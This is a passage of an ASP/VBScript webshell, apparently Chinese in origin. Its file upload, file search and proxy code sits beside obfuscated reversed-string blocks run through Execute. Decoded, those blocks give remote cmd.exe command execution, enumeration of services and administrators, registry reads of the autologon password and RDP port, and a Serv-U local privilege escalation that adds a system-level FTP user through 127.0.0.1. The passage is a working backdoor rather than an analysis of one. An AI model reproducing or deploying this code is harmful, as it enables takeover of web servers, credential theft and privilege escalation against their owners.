D1=CreateObject("Scripting.Dictionary") if Request.TotalBytes<1 then Exit Sub set T1 = CreateObject(ObT(6,0)) T1.Type = 1 : T1.Mode =3 : T1.Open T1.Write Request.BinaryRead(Request.TotalBytes) T1.Position=0 : TDa =T1.Read : DStart = 1 DEnd = LenB(TDa) set D2=CreateObject("Scripting.Dictionary") vbCrlf = chrB(13) & chrB(10) set T2 = CreateObject(ObT(6,0)) TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1) TLen = LenB (TSt) DStart=DStart+TLen+1 while (DStart + 10) < DEnd DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3 T2.Type = 1 : T2.Mode =3 : T2.Open T1.Position = DStart T1.CopyTo T2,DIEnd-DStart T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312" TIn = T2.ReadText : T2.Close DStart = InStrB(DIEnd,TDa,TSt) FStart = InStr(22,TIn,"name=""",1)+6 FEnd = InStr(FStart,TIn,"""",1) UpName = lcase(Mid (TIn,FStart,FEnd-FStart)) if InStr (45,TIn,"filename=""",1) > 0 then set TFL=new FIF FStart = InStr(FEnd,TIn,"filename=""",1)+10 FEnd = InStr(FStart,TIn,"""",1) FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14 FEnd = InStr(FStart,TIn,vbCr) TFL.FileStart =DIEnd TFL.FileSize = DStart -DIEnd -3 if not D2.Exists(UpName) then D2.add UpName,TFL end if else T2.Type =1 : T2.Mode =3 : T2.Open T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3 T2.Position = 0 : T2.Type = 2 T2.Charset ="gb2312" SFV = T2.ReadText T2.Close if D1.Exists(UpName) then D1(UpName)=D1(UpName)&", "&SFV else D1.Add UpName,SFV end if end if DStart=DStart+TLen+1 wend TDa="" set T2 =nothing End Sub Private Sub Class_Terminate if Request.TotalBytes>0 then D1.RemoveAll:D2.RemoveAll set D1=nothing:set D2=nothing T1.Close:set T1 =nothing end if End Sub End Class Class FIF dim FileSize,FileStart Private Sub Class_Initialize FileSize = 0 FileStart= 0 End Sub Public function SaveAs(F) dim T3 SaveAs=true if trim(F)="" or FileStart=0 then exit function set T3=CreateObject(ObT(6,0)) T3.Mode=3 : T3.Type=1 : T3.Open T1.position=FileStart T1.copyto T3,FileSize T3.SaveToFile F,2 T3.Close set T3=nothing SaveAs=false end function End Class Hacker="noitcnuF dnE~¨~¨~=gnoyoaix : ¨~¨~=WR : WR etirW.esnopseR ~¨~>elbat/<>mrof/<>rt/<>dt/<>aeratxet/<¨~ & )31(rhc & WR=WR ~fI dnE ~fi dne ~gnihtoN=osf teS ~gnihtoN=xcleliFo teS ~gnoyoaix & WR=WR ~)eurT ,eliFpmeTzs(eliFeteleD.osf llaC ~esolC.xcleliFo ~llAdaeR.xcleliFo=gnoyoaix ~)0 ,eslaF ,1 ,eliFpmeTzs( eliFtxeTnepO.osf=xcleliFo teS ~))0,0(TbO(tcejbOetaerC=osf teS ~)eurT ,0 ,eliFpmeTzs & ¨~ > ¨~ & dmCfeD & ¨~ c/ ¨~ & htaPllehS( nuR.sw llaC ~)¨~txt.dmc¨~(htappam.revres = eliFpmeTzs ~esle ~gnihtoN=DD teS ~gnihtoN=MC teS ~gnoyoaix & WR=WR ~lladaer.tuodts.DD=gnoyoaix ~)dmCfeD&¨~ c/ ¨~&htaPllehS(cexe.MC=DD teS ~))0,1(TbO(tcejbOetaerC=MC teS ~neht ¨~sey¨~=)¨~tpircsw¨~(mroF.tseuqeR fi ~aaa mid ~nehT ¨~¨~><)¨~dmc¨~(mroF.tseuqeR fI ~¨~>'054:thgieh;006:htdiw'=elyts aeratxet<>'FFFFFF#'=rolocgb 'retnec'=ngila dt<>rt<¨~ & WR=WR ~¨~>rt<>dt/<>'timbus'=ssalc 'ÐÐÖ´'=eulav 'timbus'=epyt tupni<;psbn&>'¨~ & dmCfeD & ¨~'=eulav '084:htdiw'=elyts 'dmc'=eman tupni<£ºÁîÃüllehS>'FFFFFF#'=rolocgb 'retnec'=ngila dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/¨~ & dekcehc & ¨~'sey'=eulav 'tpircsw'=eman 'xobkcehc'=epyt tupni<¨~ & WR=WR ~¨~;psbn&>'514:htdiw'=elyts '¨~ & htaPllehS & ¨~'=eulav 'PS'=eman tupni<£º¾¶Â·llehS>'FFFFFF#'=rolocgb 'retnec'=ngila dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<ÐÐÁîÃüdmC>'unem'=rolocgb 'retnec'=ngila '02'=thgieh dt<>rt<¨~ & WR=WR ~¨~>'tsop'=dohtem mrof<>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~)¨~dmc¨~(tseuqeR = dmCfeD nehT ¨~¨~><)¨~dmc¨~(tseuqeR fI ~fi dne ~¨~¨~=dekcehc ~esle ~¨~dekcehc ¨~=dekcehc ~neht ¨~sey¨~=)¨~tpircsw¨~(tseuqeR fi ~¨~exe.dmc¨~ = htaPllehS nehT ¨~¨~=htaPllehS fi ~)¨~htaPllehS¨~(noisseS=htaPllehS ~)¨~PS¨~(tseuqeR = )¨~htaPllehS¨~(noisseS nehT ¨~¨~><)¨~PS¨~(tseuqeR fI ~xcleliFo,eliFpmeTzs,gnoyoaix,DD,MC,dmCfeD,dekcehc mid ~)(llehSdmC noitcnuF" ExeCuTe(UZSS(Hacker)) Function TSearch() dim st st=timer() RW="
" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "
ËÑË÷ÒýÇæ
 Â·  ¾¶£º ×¢:¶à·¾¶Ê¹ÓÃ"",""ºÅÁ¬½Ó.
 ÎļþÃû£º  [²¿·ÖÒ²ÐÐ]
" Response.Write RW : RW="" if Request.Form("Sfk")<>"" then Set newsearch=new SearchFile newsearch.Folders=trim(Request.Form("SFpath")) newsearch.keyword=trim(Request.Form("Sfk")) newsearch.Search Set newsearch=Nothing Response.Write "·Ñʱ£º"&(timer()-st)*1000&"ºÁÃë
" end if End Function Class SearchFile dim Folders,keyword,objFso,Counter Private Sub Class_Initialize Set objFso=Server.CreateObject(ObT(0,0)) Counter=0 End Sub Private Sub Class_Terminate Set objFso=Nothing End Sub Function Search Folders=split(Folders,",") flag=instr(keyword,"\") or instr(keyword,"/") flag=flag or instr(keyword,":") flag=flag or instr(keyword,"|") flag=flag or instr(keyword,"&") if flag then Response.Write "

¹Ø¼ü×Ö²»ÄÜ°üº¬/\:|&
" Exit Function else Response.Write "

" end if dim i for i=0 to ubound(Folders) Call GetAllFile(Folders(i)) next Response.Write "

¹²ËÑË÷µ½"&Counter&"¸ö½á¹û
" End Function Private Function GetAllFile(Folder) dim objFd,objFs,objFf Set objFd=objFso.GetFolder(Folder) Set objFs=objFd.SubFolders Set objFf=objFd.Files dim strFdName On Error Resume Next For Each OneDir In objFs strFdName=OneDir.Name If strFdName<>"Config.Msi" EQV strFdName<>"RECYCLED" EQV strFdName<>"RECYCLER" EQV strFdName<>"System Volume Information" Then SFN=Folder&"\"&strFdName Call GetAllFile(SFN) End If Next dim strFlName For Each OneFile In objFf strFlName=OneFile.Name If strFlName<>"desktop.ini" EQV strFlName<>"folder.htt" Then FN=Folder&"\"&strFlName Counter=Counter+ColorOn(FN) End If Next Set objFd=Nothing Set objFs=Nothing Set objFf=Nothing End Function Private Function CreatePattern(keyword) CreatePattern=keyword CreatePattern=Replace(CreatePattern,".","\.") CreatePattern=Replace(CreatePattern,"+","\+") CreatePattern=Replace(CreatePattern,"(","\(") CreatePattern=Replace(CreatePattern,")","\)") CreatePattern=Replace(CreatePattern,"[","\[") CreatePattern=Replace(CreatePattern,"]","\]") CreatePattern=Replace(CreatePattern,"{","\{") CreatePattern=Replace(CreatePattern,"}","\}") CreatePattern=Replace(CreatePattern,"*","[^\\\/]*") CreatePattern=Replace(CreatePattern,"?","[^\\\/]{1}") CreatePattern="("&CreatePattern&")+" End Function Private Function ColorOn(FileName) dim objReg Set objReg=new RegExp objReg.Pattern=CreatePattern(keyword) objReg.IgnoreCase=True objReg.Global=True retVal=objReg.Test(Mid(FileName,InstrRev(FileName,"\")+1)) if retVal then OutPut=objReg.Replace(Mid(FileName,InstrRev(FileName,"\")+1),"$1") OutPut="

 " & Mid(FileName,1,InstrRev(FileName,"\")) & OutPut Response.Write OutPut Response.flush ColorOn=1 else ColorOn=0 end if Set objReg=Nothing End Function End Class Hacker="noitcnuF dnE~¨~¨~=2WR: ¨~¨~=1WR: ¨~¨~=0WR: ¨~¨~=WR: ¨~>rb<>elbat/<¨~ & 2WR & 1WR & 0WR & WR etirW.esnopseR ~gnihtoN=as teS ~gnihtoN=esruoCjbo teS ~txen ~fi dne ~¨~>rt/<>dt/<>tnof/<¨~&htap.jbo&¨~>'000800#'=roloc tnof<;psbn&]¨~&)emaN.jbo(gninnuRecivreSsI.as&¨~:̬״ÐÐÔË[;psbn&>'2'=napsloc 'FFFFFF#'=rolocgb '02'=thgieh dt<>rt<¨~&emaNyalpsiD.jbo&¨~---¨~&emaN.jbo&¨~;psbn&>'FFFFFF#'=rolocgb '02'=thgieh dt<>dt/<]¨~&xl&¨~:ÐÍÀදÆô[;psbn&>'FFFFFF#'=rolocgb '02'=thgieh dt<>rt<¨~ & 2WR=2WR ~esle ~¨~>rt/<>dt/<>tnof/<¨~&htap.jbo&¨~>'0000FF#'=roloc tnof<;psbn&]¨~&)emaN.jbo(gninnuRecivreSsI.as&¨~:̬״ÐÐÔË[;psbn&>'2'=napsloc 'FFFFFF#'=rolocgb '02'=thgieh dt<>rt<¨~&emaNyalpsiD.jbo&¨~---¨~&emaN.jbo&¨~;psbn&>'FFFFFF#'=rolocgb '02'=thgieh dt<>dt/<]¨~&xl&¨~:ÐÍÀදÆô[;psbn&>'FFFFFF#'=rolocgb '02'=thgieh dt<>rt<¨~ & 1WR=1WR ~neht 2=epyTtratS.jbo dna ¨~niw¨~><))3,4,htap.jbo(dim(esaCL fi ~¨~Óýû¨~=xl neht 4=epyTtratS.jbo fi ~ ¨~¶¯ÊÖ¨~=xl neht 3=epyTtratS.jbo fi ~¨~¶¯×Ô¨~=xl neht 2=epyTtratS.jbo fi ~fi dne ~ ¨~>rt/<>dt/<;psbn&>'2'=napsloc 'FFFFFF#'=rolocgb '02'=thgieh dt<>rt<¨~=0WR ~¨~>rt/<>dt/<¨~ & WR=WR ~¨~)×é(»§ÓÃͳϵ¨~ & WR=WR ~ ¨~;psbn&>'FFFFFF#'=rolocgb dt<>dt/<¨~ & WR=WR ~emaN.jbo & WR=WR ~¨~;psbn&>'FFFFFF#'=rolocgb '02'=thgieh dt<¨~ & WR=WR ~¨~>rt<¨~ & WR=WR ~neht ¨~¨~=epyTtratS.jbo fi ~raelC.rrE ~esruoCjbo ni jbo hcae rof ~)¨~.//:TNniW¨~(tcejbOteG=esruoCjbo teS ~)¨~noitacilppA.llehS¨~(tcejbOetaerC=as teS ~txeN emuseR rorrE nO ~¨~>rt/<>dt/<Îñ·þÓ뻧ÓÃͳϵ>'unem'=rolocgb 'retnec'=ngila '3'=napsloc '02'=thgieh dt<>rt<¨~ & WR=WR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~2WR,1WR,0WR,esruoCjbo,jbo,as mid ~)(esruoC noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~¨~¨~=WR:WR etirW.esnopseR ~fi dne ~¨~>elbat/<¨~ & WR=WR ~esle ~gnihtoN=llehSHSW teS ~¨~>elbat/<>rt/<>dt/<¨~ & rtsdaeRsi & ¨~£ºÊÇÖµ¸Ã;psbn&>rb<>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~))¨~emaNRT¨~(tseuqeR & )¨~htaPRT¨~(tseuqeR(daeRgeR.llehSHSW=rtsdaeRsi ~))0,1(TbO(tcejbOetaerC.revreS=llehSHSW teS ~neht )¨~¨~><)¨~emaNRT¨~(tseuqeR( dna )¨~¨~><)¨~htaPRT¨~(tseuqeR( fi ~ fi dne ~ fi dne ~ ¨~¨~=WR:WR etirW.esnopseR ~¨~>elbat/<>rt/<>dt/<¨~ & dwpnigoLotua & ¨~£ºÂëÃÜ»§ÕʵļµÇ¶¯×Ô;psbn&¨~ & WR=WR ~raelC.rrE nehT rrE fI ~)yeKdwpnigoLotua & htaPnigoLotua(daeRgeR.llehSHSW=dwpnigoLotua ~txeN emuseR rorrE nO ~¨~>rb<¨~ & resUnigoLotua & ¨~£º»§ÕÊͳϵµÄ¼µÇ¶¯×Ô;psbn&>rb<>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~)yeKresUnigoLotua & htaPnigoLotua(daeRgeR.llehSHSW=resUnigoLotua ~esle ~¨~>elbat/<>rt/<>dt/<Æô¿ªÎ´Äܹ¦Â¼µÇ¶¯×Ôͳϵ;psbn&>rb<>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~neht 0=elbanEnigoLotua fi ~)yeKelbanEnigoLotua & htaPnigoLotua(daeRgeR.llehSHSW=elbanEnigoLotua ~¨~drowssaPtluafeD¨~=yeKdwpnigoLotua ~¨~emaNresUtluafeD¨~=yeKresUnigoLotua ~¨~nogoLnimdAotuA¨~=yeKelbanEnigoLotua ~¨~\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH¨~=htaPnigoLotua ~))0,1(TbO(tcejbOetaerC.revreS=llehSHSW tes ~neht ¨~nogoLotuA¨~=)¨~di¨~(tseuqeR fi ~¨~>rt/<>dt/rb<\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKH£º¾¶Â·Ïî;psbn&>rb<¿Ú¶Ë¶ËÖÕÈ¡¶Á£ºÈç¡¡Àý;psbn&>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>mrof/<>rt/<>dt/<>'timbus'=ssalc 'ÈÏÈ·'=eulav 'timbus'=epyt tupni<;psbn&>'002:htdiw'=elyts '¨~ & )¨~emaNRT¨~(tseuqeR & ¨~'=eulav 'emaNRT'=eman tupni<£º³ÆÃûÖµ;psbn&>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<>'025:htdiw'=elyts '¨~ & )¨~htaPRT¨~(tseuqeR & ¨~'=eulav 'htaPRT'=eman tupni<£º¾¶Â·Ïî;psbn&>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<¨~ & WR=WR ~¨~>a/<]Ï¢ÐżµÇ¶¯×Ô[>'nogoLotuA=di&tidegeRT=noitcA?'=ferh a<;psbn&¨~ & WR=WR ~¨~>a/<]³ÆÃû»ú±¾[>'emaNretupmoC=emaNRT&\emaNretupmoC\emaNretupmoC\lortnoC\teSlortnoCtnerruC\METSYS\MLKH=htaPRT&tidegeRT=noitcA?'=ferh a<;psbn&¨~ & WR=WR ~¨~>a/<]¿Ú¶Ë¶ËÖÕ[>'rebmuNtroP=emaNRT&\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKH=htaPRT&tidegeRT=noitcA?'=ferh a<£ºµÀͨËÙ¿ì;psbn&>'02'=thgieh 'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<×÷²ÙÈ¡¶ÁÖµ¼ü±í²á×¢>'unem'=rolocgb 'retnec'=ngila '02'=thgieh dt<>rt<¨~ & WR=WR ~¨~>'tsop'=dohtem 'tidegeRT=noitcA?¨~&LRU&¨~'=noitca mrof<>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~dwpnigoLotua,resUnigoLotua,elbanEnigoLotua mid ~yeKdwpnigoLotua,yeKresUnigoLotua,yeKelbanEnigoLotua,htaPnigoLotua mid ~rtsdaeRsi,llehSHSW mid ~)(tidegeRT noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~¨~>rb<>elbat/<¨~ etirw.esnopseR ~htiw dne ~txen ~¨~>rt/<>dt/<>tnof/<¨~&)vs(selbairaVrevres.tseuqeR&¨~>'WORRAN LAIRA'=elyts tnof<>dt<>dt/<>tnof/<¨~ etirw.esnopseR ~vs etirw.esnopseR ~¨~;psbn&>'WORRAN LAIRA'=elyts tnof<>dt<>rt<¨~ etirw.esnopseR ~selbairavrevres.tseuqeR ni vs hcae rof ~esnopser htiw ~vs mid ~¨~>rt/<>dt/<>tnof/<¹û½á>FFFFFF#=roloc tnof<>retnec=ngila dt<>dt/<>tnof/<ÃûÁ¿±ä>FFFFFF#=roloc tnof<>retnec=ngila dt<>rt<>rt/<>dt/<±íÁÐ selbairaVrevreS.tseuqeR>retnec=ngila '2'=napsloc dt<>rt<>rb<>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<¨~ etirw.esnopseR ~)(Ewohs noitcnuF" ExeCuTe(UZSS(Hacker)) function goback() set Ofso = Server.CreateObject("Scripting.FileSystemObject") set ofolder = Ofso.Getfolder(Session("FolderPath")) if not ofolder.IsRootFolder then Response.write "" else Response.write "" end if set Ofso=nothing set ofolder=nothing end function Function proxy() sx() proxy1() End Function Function proxy1() on error resume next url=lcase(request("pURL")) if url<>"" then if left(url,7)<>"http://" then url="http://" & url set xml=server.createobject("Microsoft.Xmlhttp") xml.open "Get",url,false,false xml.send if err then response.write "
ÎÞ·¨·ÃÎÊ.
":response.end proxyweb=B2Bstr(xml.responsebody) end if Response.write proxyweb End Function Function B2Bstr(body) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = "GB2312" B2Bstr = objstream.ReadText objstream.Close set objstream = nothing End Function Function sx() RRS "" RRS "
" RRS "
µ¥Ò³´úÀí

" RRS "Address:" RRS " The Address what you want to visit" RRS "
" RRS "
" RRS "
" End Function function php() set fso=Server.CreateObject("Scripting.FileSystemObject") fso.CreateTextFile(server.mappath("lp.php")).Write"" Response.write" " Response.write "





Èç¹ûÄãÄÜ¿´µ½lp.phpÕý³£ÏÔʾ,±íʾ֧³ÖPHP

·ñÔò¾ÍÊDz»Ö§³ÖÀ­

ɾ³ý²âÊÔµÄPHPÎļþ

" End function function lpdel set fso=Server.CreateObject("Scripting.FileSystemObject") fso.DeleteFile(server.mappath("lp.php")) End function Hacker="noitcnuF dnE~¨~¨~=WR : WR etirW.esnopseR ~txeN ~¨~>rt/<>dt/<¨~&))0,i(TbO(jbOsI&¨~>'retnec'=ngila dt<>dt/<>tnof/<¨~&)1,i(TbO&¨~>'888888#'=roloc tnof<: ¨~&)0,i(TbO&¨~;psbn&>'02'=thgieh dt<>rt<¨~ & WR=WR ~41 oT 0=i roF ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~ & WR=WR ~¨~¨~ & WR=WR ~¨~>elbat/<>rt/<>dt/<¨~&)¨~ERAWTFOS_REVRES¨~(selbairaVrevreS.tseuqeR&¨~:±¾°ærevreS SII;psbn&>'2'=napsloc dt<¨~ & WR=WR ~¨~>dt/<¨~&)¨~SO¨~(selbairaVrevreS.tseuqeR&¨~:sO revreS;psbn&>'2'=napsloc dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<>a/<>tnof/<]±íÁÐ selbairaVrevreS.tseuqeR[>'der'=roloc tnof<>'emarFeliF'=tegrat 'Ewohs=noitcA?'=ferh a<¨~ & WR=WR ~¨~;psbn&¸ö¨~&tnuoC.selbairaVrevreS.tseuqeR&¨~:Á¿±ä¾³»·;psbn&>'2'=napsloc dt<¨~ & WR=WR ~¨~>dt/<¨~&)¨~SROSSECORP_FO_REBMUN¨~(selbairaVrevreS.tseuqeR&¨~:ÇéÏêUPC;psbn&>'2'=napsloc dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<;psbn&¨~&won&¨~:emiT revreS;psbn&>'2'=napsloc dt<¨~ & WR=WR ~¨~>dt/<)¨~&)¨~TROP_REVRES¨~(selbairaVrevreS.tseuqeR&¨~:¨~ & PIrevreS & ¨~(¨~&MNrevreS&¨~:Ö·µØÆ÷Îñ·þ;psbn&>'2'=napsloc dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<]Ï¢Ðżþ×é[ ¿ö¸ÅÆ÷Îñ·þ>'unem'=rolocgb 'retnec'=ngila '4'=napsloc dt<>rt<¨~ & WR=WR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~)(ofnIrevreS noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~fi dne~¨~krowteN.tpircsW:!ÏÞȨÓÐû¨~ etirw.esnopseR~neht rre fi~txeN~¨~>rb<>retnec/<¨~&emaN.nimda&¨~>retnec<¨~ etirw.esnopseR~srebmeM.puorGjbo ni nimda hcaE roF~)¨~puorg,srotartsinimdA/¨~&emaNretupmoC.Nt&¨~//:TNniW¨~(tcejbOteG=puorGjbo teS~)¨~krowteN.tpircsW¨~(tcejbOetaerc.revres=Nt teS~txen emuser rorre no~0=seripxE.esnopseR~)(banimda noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="buS dnE~¨~>lo/<¨~ SRR~fI dnE~¨~>rb<¨~ & drowssaPnigoLotua & ¨~ :ÂëÃÜ»§ÕʵļµÇ¶¯×Ô¨~ SRR~fI dnE~¨~eslaF¨~ SRR~raelC.rrE~nehT rrE fI~)yeKssaPnigoLotua & htaPnigoLotua(daeRgeR.Xsw = drowssaPnigoLotua~¨~>rb<¨~ & emanresUnigoLotua & ¨~ :»§ÕÊͳϵµÄ¼µÇ¶¯×Ô¨~ SRR~)yeKresUnigoLotua & htaPnigoLotua(daeRgeR.Xsw = emanresUnigoLotua~eslE~¨~>/rb<Æô¿ªÎ´Äܹ¦Â¼µÇ¶¯×Ôͳϵ¨~ SRR~nehT 0 = elbanEnigoLotuAsi fI~)yeKelbanEnigoLotua & htaPnigoLotua(daeRgeR.Xsw = elbanEnigoLotuAsi~¨~drowssaPtluafeD¨~ = yeKssaPnigoLotua~¨~emaNresUtluafeD¨~ = yeKresUnigoLotua~¨~nogoLnimdAotuA¨~ = yeKelbanEnigoLotua~¨~\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH¨~ = htaPnigoLotua~fI dnE~¨~>/rb<¨~ & troPmret & ¨~ :¿Ú¶ËÎñ·þ¶ËÖÕÇ°µ±¨~ SRR~eslE ~¨~>/rb<.ÖÆÏÞµ½Êܾ­ÒÑ·ñÊÇÏÞȨ²é¼ìÇë ,¿Ú¶ËÎñ·þ¶ËÖÕµ½µÃ·¨ÎÞ¨~SRR~ nehT 0 >< rebmuN.rrE rO ¨~¨~ = troPmret fI~¨~>lo<>/rh<¼µÇ¶¯×Ô¼°¿Ú¶ËÎñ·þ¶ËÖÕ¨~ SRR~)yeKtroPlanimret & htaPtroPlanimret(daeRgeR.Xsw = troPmret~¨~rebmuNtroP¨~ = yeKtroPlanimret~¨~\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\MLKH¨~ = htaPtroPlanimret~drowssaPnigoLotua ,emanresUnigoLotua ,yeKelbanEnigoLotua ,elbanEnigoLotuAsi miD~yeKssaPnigoLotua ,yeKresUnigoLotua ,htaPnigoLotua miD~troPmret ,yeKtroPlanimret ,htaPtroPlanimret miD~)¨~llehS.tpircSW¨~(tcejbOetaerC.revreS = Xsw teS~¨~------------------------------------------------------¨~ etirW.esnopseR~¨~>rb<¨~&troPWAP&¨~:Ϊ¿Ú¶ËerehwynAcP>il<¨~ etirW.esnopseR~¨~erehwynAcp×°°²·ñÊÇ»úÖ÷ÈÏÈ·Çë.È¡»ñ·¨ÎÞ¨~=troPWAP neht ¨~¨~=troPWAP fI~)yeKerehwynAcp(daeRgeR.hsW=troPWAP~¨~troPataDPIPCT\metsyS\noisreVtnerruC\erehwynAcp\cetnamyS\ERAWTFOS\ENIHCAM_LACOL_YEKH¨~=yeKerehwynAcp~¨~>rb<¨~&troPmreT&¨~:Ϊ¿Ú¶ËecivreS lanimreT>il<¨~ etirW.esnopseR~¨~»úÖ÷±¾°ærevreS swodniWΪ·ñÊÇÈÏÈ·Çë.È¡¶Á·¨ÎÞ¨~=troPmreT nehT ¨~¨~=troPmreT fI~)yeKmreT(daeRgeR.hsW=troPmreT~¨~rebmuNtroP\pct\sdT\dwpdr\sdW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKH¨~=yeKmreT~¨~>rb<¨~&troptnlT&¨~:¿Ú¶ËtenleT>il<¨~ etirW.esnopseR~¨~32¨~=tnlT nehT ¨~¨~=troPtnlT fi~)yeKtenleT(daeRgeR.hsW=troPtnlT~¨~troPtenleT\0.1\revreStenleT\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH¨~=yektenleT~)¨~llehS.tpircSW¨~(tcejbOetaerC.revreS = hsw teS~¨~>1=ezis rh<>rb<]²â̽¿Ú¶ËÊâÌØ[>rb<>rb<¨~ etirW.esnopseR~txeN emuseR rorrE nO~)(ofnIlanimreTteg bus" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~fI dne~gnihton=3tsopx tes~)sevael(dnes.3tsopx~eurt ,¨~sevael/¨~& trop &¨~:1.0.0.721//:ptth¨~ ,¨~TSOP¨~ nepo.3tsopx~)¨~PTTHLMX.2LMXSM¨~(tcejboetaerc = 3tsopx tes~flrcbv & resut & ¨~=resU ¨~ & flrcbv & tropt & ¨~=oNtroP-¨~ & flrcbv & ¨~0.0.0.0=PI-¨~ & flrcbv & ¨~RESUETELED-¨~ & sevael = sevael~flrcbv & ¨~ECNANETNIAM ETIS¨~ & sevael = sevael~flrcbv & dwp & ¨~ ssaP¨~ & sevael = sevael~flrcbv & rsu & ¨~ resU¨~ = sevael~esle~)¨~>RB<>rb<): ¨~ & htapt & ¨~ :¾¶Â· ¨~ & ssapt & ¨~ :ÂëÃܨ~ & ¨~ ¨~ & resut & ¨~ :Ãû»§Óà PTF£¡£¡ÐÐÖ´¹¦³ÉÁîÃü>der=roloc tnof<>retnec<¨~( etirw.esnopser~gnihton=tsopx tes~)sevael(dnes.tsopx~eurt ,¨~sevael/¨~& trop &¨~:1.0.0.721//:ptth¨~ ,¨~TSOP¨~ nepo.tsopx~)¨~PTTHLMX.2LMXSM¨~(tcejboetaerc = tsopx tes~txen emuser rorre no~flrcbv & ¨~tiuq¨~ & sevael = sevael~flrcbv & ¨~PDCLEMAWR|\¨~ & htapt & ¨~=sseccA ¨~ & flrcbv & ¨~enoN=soitaR-¨~ & flrcbv & ¨~ralugeR=epyTdrowssaP-¨~ & flrcbv & ¨~metsyS=ecnanetniaM-¨~~_ & flrcbv & ¨~0=mumixaMatouQ-¨~ & flrcbv & ¨~0=tnerruCatouQ-¨~ & flrcbv & ¨~0=tiderCsoitaR-¨~ & flrcbv & ¨~1=nwoDoitaR-¨~~_ & flrcbv & ¨~1=pUoitaR-¨~ & flrcbv & ¨~0=eripxE-¨~ & flrcbv & ¨~1-=tuOemiTnoisseS-¨~ & flrcbv & ¨~006=tuOemiTeldI-¨~ & flrcbv & ¨~1-=sresUrNxaM-¨~~_ & flrcbv & ¨~0=nwoDtimiLdeepS-¨~ & flrcbv & ¨~0=pUtimiLdeepS-¨~ & flrcbv & ¨~1-=PIrePnigoLsresUxaM-¨~ & flrcbv & ¨~0=elbanEatouQ-¨~~_ & flrcbv & ¨~0=drowssaPegnahC-¨~ & flrcbv & ¨~0=nigoLwollAsyawlA-¨~ & flrcbv & ¨~0=neddiHediH-¨~ & flrcbv & ¨~0=eruceSdeeN-¨~~_ & flrcbv & ¨~1=shtaPleR-¨~ & flrcbv & ¨~0=elbasiD-¨~ & flrcbv & ¨~=eliFseMnigoL-¨~ & flrcbv & ¨~\¨~ & htapt & ¨~=riDemoH-¨~~_ & flrcbv & ssapt & ¨~=drowssaP-¨~ & flrcbv & resut & ¨~=resU-¨~ & flrcbv & tropt & ¨~=oNtroP-¨~ & flrcbv & ¨~0.0.0.0=PI-¨~ & flrcbv & ¨~PUTESRESUTES-¨~ & sevael = sevael~flrcbv & ¨~=yeKOZT ¨~ & flrcbv & ¨~0=elbanEOZT-¨~ & flrcbv & ¨~0|1|1-|¨~ & tropt & ¨~|¨~&pirevres&¨~|79944QQ=niamoD-¨~ & flrcbv & ¨~NIAMODTES-¨~ & sevael = sevael~flrcbv & ¨~ECNANETNIAM ETIS¨~ = tm~flrcbv & tropt & ¨~=oNtroP ¨~ & flrcbv & ¨~0.0.0.0=PI-¨~ & flrcbv & ¨~NIAMODeteleD-¨~ & sevael = sevael~flrcbv & ¨~ECNANETNIAM ETIS¨~ & sevael = sevael~flrcbv & dwp & ¨~ ssaP¨~ & sevael = sevael~flrcbv & rsu & ¨~ resU¨~ = sevael~neht ¨~dda¨~ = )¨~nottuboidar¨~(mrof.tseuqer fi~006=tuoemit~)¨~ptsoh¨~(mrof.tseuqer = pitsoh~)¨~tropt¨~(mrof.tseuqer = tropt~)¨~htapt¨~(mrof.tseuqer = htapt~)¨~ssapt¨~(mrof.tseuqer = ssapt~)¨~resut¨~(mrof.tseuqer = 